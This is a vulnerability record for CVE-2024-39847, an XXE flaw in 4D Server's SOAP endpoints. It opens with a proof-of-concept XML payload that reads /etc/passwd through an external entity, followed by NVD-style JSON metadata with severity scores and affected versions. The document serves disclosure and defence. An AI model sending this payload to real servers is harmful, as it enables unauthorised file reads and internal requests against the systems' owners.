CVE-2024-39847

<!-- PoC for CVE-2024-39847 (4D Server XXE) Target: 4D Server SOAP Endpoint --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SomeOperation> <parameter>&xxe;</parameter> </SomeOperation> </soap:Body> </soap:Envelope>

{"cve": {"id": "CVE-2024-39847", "sourceIdentifier": "23637b5d-af4c-4cf9-b8f6-deb7fd0f8423", "published": "2026-04-30T07:16:36.143", "lastModified": "2026-05-17T23:17:02.123", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access to files on the application server and adjacent network shares, and perform HTTP GET requests to arbitrary services."}], "metrics": {"cvssMetricV40": [{"source": "23637b5d-af4c-4cf9-b8f6-deb7fd0f8423", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "23637b5d-af4c-4cf9-b8f6-deb7fd0f8423", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:4d:server:20:r3:*:*:*:*:*:*", "matchCriteriaId": "7CB9D8C6-82C3-4C82-92CC-36E27D0AEBC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:4d:server:20:r4:*:*:*:*:*:*", "matchCriteriaId": "B1C45F4F-AE28-4B0D-BCCC-648953FC9772"}, {"vulnerable": true, "criteria": "cpe:2.3:a:4d:server:20:r6:*:*:*:*:*:*", "matchCriteriaId": "5512EA72-DE0B-4A44-AD7D-F8D277541F65"}]}]}], "references": [{"url": "https://4d.com", "source": "23637b5d-af4c-4cf9-b8f6-deb7fd0f8423", "tags": ["Product"]}, {"url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/", "source": "23637b5d-af4c-4cf9-b8f6-deb7fd0f8423", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2026/May/0", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}